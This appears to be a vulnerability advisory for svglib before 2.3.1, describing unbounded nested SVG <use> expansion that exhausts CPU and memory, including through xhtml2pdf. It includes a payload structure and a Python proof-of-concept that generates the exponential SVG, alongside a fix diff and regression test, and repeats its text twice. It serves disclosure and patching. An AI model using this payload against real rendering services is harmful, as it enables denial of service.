svglib reads SVG files and converts them to other formats. Prior to 2.3.1, the svg2rlg() renderer recursively expands nested SVG <use>…
[email protected]·CWE-400·Published 2026-11-20
svglib reads SVG files and converts them to other formats. Prior to 2.3.1, the svg2rlg() renderer recursively expands nested SVG <use> references by deep-copying each referenced subtree; SvgRenderer.renderUse() in src/svglib/svglib.py calls xlink_href_target(), which rejects direct cycles but permits acyclic reference graphs with repeated fan-out. A small attacker-controlled SVG can therefore trigger exponentially increasing node expansion, consuming excessive CPU and memory in any application that renders it without a non-default option; HTML-to-PDF workflows using xhtml2pdf can reach the same renderer when an embedded data:image/svg+xml image in an HTML img element is passed to pisa.CreatePDF(). This issue is fixed in 2.3.1.
svglib reads SVG files and converts them to other formats. Prior to 2.3.1, the svg2rlg() renderer recursively expands nested SVG <use> references by deep-copying each referenced subtree; SvgRenderer.renderUse() in src/svglib/svglib.py calls xlink_href_target(), which rejects direct cycles but permits acyclic reference graphs with repeated fan-out. A small attacker-controlled SVG can therefore trigger exponentially increasing node expansion, consuming excessive CPU and memory in any application that renders it without a non-default option; HTML-to-PDF workflows using xhtml2pdf can reach the same renderer when an embedded data:image/svg+xml image in an HTML img element is passed to pisa.CreatePDF(). This issue is fixed in 2.3.1.
# Summary `svg2rlg()` expands `<use>` references without any limit on the total number of expansions. Only direct cycles are rejected (`CircularRefError`). A group containing N `<use>` elements that point to another such group multiplies the work by N per nesting level, so an SVG of about 1.4 KB makes svglib clone and render over 100,000 nodes, taking tens of seconds of CPU time and hundreds of MiB of memory. Each additional level adds about 245 bytes to the document and multiplies time by ~10. This is the SVG `<use>` variant of the XML "billion laughs" attack (the same class as librsvg CVE-2019-20446). # Details `SvgRenderer.renderUse()` in `src/svglib/svglib.py`: ```python try: item = self.xlink_href_target(node, group=group) except CircularRefError: node.parent.etree_element.remove(node.etree_element) return group ... if len(node.getchildren()) == 0: # Append a copy of the referenced node as the <use> child (if not # already done) node.append(copy.deepcopy(item)) self.renderNode(list(node.iter_children())[-1], parent=group) ``` The referenced node is deep-copied under the `<use>` element and rendered. Any `<use>` elements inside the copied subtree go through `renderUse()` again. `xlink_href_target()` raises `CircularRefError` only for a direct cycle, so a reference DAG with fan-out is expanded fully: `fan ** levels` renders. Payload shape (fan = 10, levels = 5): ```xml <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"> <defs> <rect id="l0" width="1" height="1"/> <g id="l1"><use xlink:href="#l0"/> ... 10 times ... </g> <g id="l2"><use xlink:href="#l1"/> ... 10 times ... </g> ... <g id="l5"><use xlink:href="#l4"/> ... 10 times ... </g> </defs> <use xlink:href="#l5"/> </svg> ``` # Impact Denial of service (CPU and memory exhaustion) for any application that renders SVG from an untrusted source with svglib: thumbnail/preview generation, SVG-to-PDF conversion, report generation. Only the SVG document needs to be attacker-controlled; no non-default option is required. The same happens through `xhtml2pdf`, which depends on svglib to render SVG images. An HTML document containing `<img src="data:image/svg+xml;base64,...">` passed to `pisa.CreatePDF()` triggers the expansion. HTML-to-PDF conversion of user-supplied content is a common use of xhtml2pdf in web applications. # Reproduction Minimal local PoC, non-destructive: ```python import io, time from svglib.svglib import svg2rlg def make(levels, fan=10): parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>', '<rect id="l0" width="1" height="1"/>'] for i in range(1, levels + 1): parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>') parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>') return "".join(parts).encode() for levels in (3, 4, 5): data = make(levels) t = time.time() svg2rlg(io.BytesIO(data)) print(levels, len(data), f"{time.time() - t:.1f}s") ``` Result on svglib 2.3.0 (commit `5d28646`), Python 3.12, macOS: | levels | SVG size | time | peak RSS | |---|---|---|---| | 3 | 919 B | 0.3 s | 42 MiB | | 4 | 1164 B | 2.9 s | 83 MiB | | 5 | 1409 B | 34 s | 469 MiB | svglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB). Through xhtml2pdf 0.2.23 with the same SVG embedded as a `data:` URI `<img>`: | levels | HTML size | time | peak RSS | |---|---|---|---| | 4 | 1626 B | 6.9 s | 133 MiB | | 5 | 1954 B | 78.7 s | 499 MiB | # Suggested fix Count `<use>` expansions per document and stop expanding beyond a fixed limit: ```diff @@ src/svglib/svglib.py # A sentinel to identify a situation where a node reference a fragment not yet defined. DELAYED = object() +# Upper bound on the number of <use> elements expanded while rendering one document. +# Nested <use> references multiply (a few hundred bytes can expand to millions of +# nodes), so rendering stops expanding <use> elements beyond this limit. +MAX_USE_EXPANSIONS = 10_000 + @@ class SvgRenderer: self._external_svgs: dict[str, ExternalSVG] = {} + self._use_expansions = 0 self.attrConverter.css_rules = CSSMatcher() @@ def renderUse( if group is None: group = Group() + self._use_expansions += 1 + if self._use_expansions > MAX_USE_EXPANSIONS: + if self._use_expansions == MAX_USE_EXPANSIONS + 1: + logger.error( + "Too many <use> expansions (limit is %d), skipping the rest", + MAX_USE_EXPANSIONS, + ) + return group + try: item = self.xlink_href_target(node, group=group) ``` With the fix, a 6-level payload (1654 B, one million expansions without the limit) renders in 1.1 s with 64 MiB peak RSS. The limit value is a suggestion; 10,000 `<use>` elements is far above what normal documents (icon sprites, symbol libraries) need. # Regression test A regression test `TestUseNode::test_use_nested_expansion_is_bounded` in `tests/test_basic.py` renders the 5-level payload and asserts it finishes within 10 seconds. * Without fix: test fails (30.9 s). * With fix: test passes (1.8 s). `python -m pytest tests/test_basic.py tests/test_units.py tests/test_external_references.py tests/test_fonts.py -q` → **190 passed, 4 skipped**. No regressions. I'm happy to share the full patch (including the test), for example as a PR on a temporary private fork of this advisory. # Affected versions `<= 2.3.0` (verified on 2.3.0 and 1.5.1)
# Summary `svg2rlg()` expands `<use>` references without any limit on the total number of expansions. Only direct cycles are rejected (`CircularRefError`). A group containing N `<use>` elements that point to another such group multiplies the work by N per nesting level, so an SVG of about 1.4 KB makes svglib clone and render over 100,000 nodes, taking tens of seconds of CPU time and hundreds of MiB of memory. Each additional level adds about 245 bytes to the document and multiplies time by ~10. This is the SVG `<use>` variant of the XML "billion laughs" attack (the same class as librsvg CVE-2019-20446). # Details `SvgRenderer.renderUse()` in `src/svglib/svglib.py`: ```python try: item = self.xlink_href_target(node, group=group) except CircularRefError: node.parent.etree_element.remove(node.etree_element) return group ... if len(node.getchildren()) == 0: # Append a copy of the referenced node as the <use> child (if not # already done) node.append(copy.deepcopy(item)) self.renderNode(list(node.iter_children())[-1], parent=group) ``` The referenced node is deep-copied under the `<use>` element and rendered. Any `<use>` elements inside the copied subtree go through `renderUse()` again. `xlink_href_target()` raises `CircularRefError` only for a direct cycle, so a reference DAG with fan-out is expanded fully: `fan ** levels` renders. Payload shape (fan = 10, levels = 5): ```xml <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"> <defs> <rect id="l0" width="1" height="1"/> <g id="l1"><use xlink:href="#l0"/> ... 10 times ... </g> <g id="l2"><use xlink:href="#l1"/> ... 10 times ... </g> ... <g id="l5"><use xlink:href="#l4"/> ... 10 times ... </g> </defs> <use xlink:href="#l5"/> </svg> ``` # Impact Denial of service (CPU and memory exhaustion) for any application that renders SVG from an untrusted source with svglib: thumbnail/preview generation, SVG-to-PDF conversion, report generation. Only the SVG document needs to be attacker-controlled; no non-default option is required. The same happens through `xhtml2pdf`, which depends on svglib to render SVG images. An HTML document containing `<img src="data:image/svg+xml;base64,...">` passed to `pisa.CreatePDF()` triggers the expansion. HTML-to-PDF conversion of user-supplied content is a common use of xhtml2pdf in web applications. # Reproduction Minimal local PoC, non-destructive: ```python import io, time from svglib.svglib import svg2rlg def make(levels, fan=10): parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>', '<rect id="l0" width="1" height="1"/>'] for i in range(1, levels + 1): parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>') parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>') return "".join(parts).encode() for levels in (3, 4, 5): data = make(levels) t = time.time() svg2rlg(io.BytesIO(data)) print(levels, len(data), f"{time.time() - t:.1f}s") ``` Result on svglib 2.3.0 (commit `5d28646`), Python 3.12, macOS: | levels | SVG size | time | peak RSS | |---|---|---|---| | 3 | 919 B | 0.3 s | 42 MiB | | 4 | 1164 B | 2.9 s | 83 MiB | | 5 | 1409 B | 34 s | 469 MiB | svglib 1.5.1 from PyPI behaves the same (levels = 4: 2.8 s, 82 MiB). Through xhtml2pdf 0.2.23 with the same SVG embedded as a `data:` URI `<img>`: | levels | HTML size | time | peak RSS | |---|---|---|---| | 4 | 1626 B | 6.9 s | 133 MiB | | 5 | 1954 B | 78.7 s | 499 MiB | # Suggested fix Count `<use>` expansions per document and stop expanding beyond a fixed limit: ```diff @@ src/svglib/svglib.py # A sentinel to identify a situation where a node reference a fragment not yet defined. DELAYED = object() +# Upper bound on the number of <use> elements expanded while rendering one document. +# Nested <use> references multiply (a few hundred bytes can expand to millions of +# nodes), so rendering stops expanding <use> elements beyond this limit. +MAX_USE_EXPANSIONS = 10_000 + @@ class SvgRenderer: self._external_svgs: dict[str, ExternalSVG] = {} + self._use_expansions = 0 self.attrConverter.css_rules = CSSMatcher() @@ def renderUse( if group is None: group = Group() + self._use_expansions += 1 + if self._use_expansions > MAX_USE_EXPANSIONS: + if self._use_expansions == MAX_USE_EXPANSIONS + 1: + logger.error( + "Too many <use> expansions (limit is %d), skipping the rest", + MAX_USE_EXPANSIONS, + ) + return group + try: item = self.xlink_href_target(node, group=group) ``` With the fix, a 6-level payload (1654 B, one million expansions without the limit) renders in 1.1 s with 64 MiB peak RSS. The limit value is a suggestion; 10,000 `<use>` elements is far above what normal documents (icon sprites, symbol libraries) need. # Regression test A regression test `TestUseNode::test_use_nested_expansion_is_bounded` in `tests/test_basic.py` renders the 5-level payload and asserts it finishes within 10 seconds. * Without fix: test fails (30.9 s). * With fix: test passes (1.8 s). `python -m pytest tests/test_basic.py tests/test_units.py tests/test_external_references.py tests/test_fonts.py -q` → **190 passed, 4 skipped**. No regressions. I'm happy to share the full patch (including the test), for example as a PR on a temporary private fork of this advisory. # Affected versions `<= 2.3.0` (verified on 2.3.0 and 1.5.1)
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Primary | cve.org | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | NVD | 7.5 | 3.9 | 3.6 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | GHSA | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | ENISA EUVD | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |